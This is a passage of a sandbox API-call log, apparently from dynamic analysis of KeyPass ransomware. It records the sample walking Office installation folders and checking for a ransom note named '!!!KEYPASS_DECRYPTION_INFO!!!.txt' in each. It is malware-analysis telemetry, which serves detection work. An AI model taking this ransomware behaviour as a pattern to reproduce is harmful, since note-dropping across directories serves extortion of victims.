(in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.769] GetLastError () returned 0x3f0 [0274.769] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.769] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.773] GetFileType (hFile=0x1460) returned 0x1 [0274.773] CloseHandle (hObject=0x1460) returned 1 [0274.773] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.773] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.773] GetLastError () returned 0x3f0 [0274.774] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.774] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.780] GetFileType (hFile=0x1468) returned 0x1 [0274.780] CloseHandle (hObject=0x1468) returned 1 [0274.781] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.781] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.781] GetLastError () returned 0x3f0 [0274.781] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.781] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.792] GetFileType (hFile=0x1464) returned 0x1 [0274.792] CloseHandle (hObject=0x1464) returned 1 [0274.793] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0274.793] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.793] GetLastError () returned 0x3f0 [0274.793] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\AugLoop\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\AugLoop\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.793] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\AugLoop\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.803] GetFileType (hFile=0x146c) returned 0x1 [0274.804] CloseHandle (hObject=0x146c) returned 1 [0274.804] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0274.804] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.804] GetLastError () returned 0x3f0 [0274.804] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Bibliography\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.804] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.805] GetFileType (hFile=0x1470) returned 0x1 [0274.805] CloseHandle (hObject=0x1470) returned 1 [0274.805] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0274.806] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.806] GetLastError () returned 0x3f0 [0274.806] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Bibliography\\Sort\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Bibliography\\Sort\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.806] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Bibliography\\Sort\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.807] GetFileType (hFile=0x1478) returned 0x1 [0274.807] CloseHandle (hObject=0x1478) returned 1 [0274.808] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0274.808] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.808] GetLastError () returned 0x3f0 [0274.808] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Bibliography\\Style\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Bibliography\\Style\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.808] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Bibliography\\Style\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.808] GetFileType (hFile=0x147c) returned 0x1 [0274.809] CloseHandle (hObject=0x147c) returned 1 [0274.809] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0274.809] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.809] GetLastError () returned 0x3f0 [0274.809] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\BORDERS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\BORDERS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.809] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\BORDERS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.810] GetFileType (hFile=0x1480) returned 0x1 [0274.811] CloseHandle (hObject=0x1480) returned 1 [0274.811] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0274.811] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.811] GetLastError () returned 0x3f0 [0274.811] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Configuration\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.811] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.812] GetFileType (hFile=0x1484) returned 0x1 [0274.812] CloseHandle (hObject=0x1484) returned 1 [0274.813] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0274.813] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.813] GetLastError () returned 0x3f0 [0274.813] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\CONVERT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\CONVERT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.813] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\CONVERT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.900] GetFileType (hFile=0x1474) returned 0x1 [0274.901] CloseHandle (hObject=0x1474) returned 1 [0274.901] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0274.901] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.901] GetLastError () returned 0x3f0 [0274.901] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\CONVERT\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\CONVERT\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.901] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\CONVERT\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.916] GetFileType (hFile=0x1488) returned 0x1 [0274.917] CloseHandle (hObject=0x1488) returned 1 [0274.917] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0274.917] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.917] GetLastError () returned 0x3f0 [0274.917] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Document Parts\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Document Parts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.917] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Document Parts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.918] GetFileType (hFile=0x148c) returned 0x1 [0274.919] CloseHandle (hObject=0x148c) returned 1 [0274.919] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0274.919] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.919] GetLastError () returned 0x3f0 [0274.919] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Document Parts\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Document Parts\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.919] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Document Parts\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.920] GetFileType (hFile=0x1490) returned 0x1 [0274.920] CloseHandle (hObject=0x1490) returned 1 [0274.921] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.921] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.921] GetLastError () returned 0x3f0 [0274.921] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Document Parts\\1033\\16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Document Parts\\1033\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.921] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Document Parts\\1033\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.923] GetFileType (hFile=0x1494) returned 0x1 [0274.924] CloseHandle (hObject=0x1494) returned 1 [0274.924] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0274.924] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.924] GetLastError () returned 0x3f0 [0274.924] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FORMS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FORMS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.924] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FORMS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.925] GetFileType (hFile=0x1498) returned 0x1 [0274.926] CloseHandle (hObject=0x1498) returned 1 [0274.926] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0274.926] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.926] GetLastError () returned 0x3f0 [0274.926] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FORMS\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FORMS\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.926] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FORMS\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.926] GetFileType (hFile=0x149c) returned 0x1 [0274.927] CloseHandle (hObject=0x149c) returned 1 [0274.927] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0274.927] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.927] GetLastError () returned 0x3f0 [0274.927] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f14\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f14\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.927] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f14\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.975] GetFileType (hFile=0x14a0) returned 0x1 [0274.976] CloseHandle (hObject=0x14a0) returned 1 [0274.976] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0274.976] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.976] GetLastError () returned 0x3f0 [0274.976] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f2\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.976] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.984] GetFileType (hFile=0x14a4) returned 0x1 [0274.985] CloseHandle (hObject=0x14a4) returned 1 [0274.985] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0274.985] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.985] GetLastError () returned 0x3f0 [0274.985] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f3\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f3\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.985] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f3\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.992] GetFileType (hFile=0x14a8) returned 0x1 [0274.993] CloseHandle (hObject=0x14a8) returned 1 [0274.993] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0274.993] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.993] GetLastError () returned 0x3f0 [0274.993] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f4\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f4\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.993] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f4\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.027] GetFileType (hFile=0x14b0) returned 0x1 [0275.027] CloseHandle (hObject=0x14b0) returned 1 [0275.028] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.028] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.028] GetLastError () returned 0x3f0 [0275.028] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f7\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f7\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.028] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_f7\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.034] GetFileType (hFile=0x14b4) returned 0x1 [0275.035] CloseHandle (hObject=0x14b4) returned 1 [0275.035] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.035] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.035] GetLastError () returned 0x3f0 [0275.035] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_FA000000006\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_FA000000006\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.035] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\FPA_FA000000006\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.035] GetFileType (hFile=0x14b8) returned 0x1 [0275.036] CloseHandle 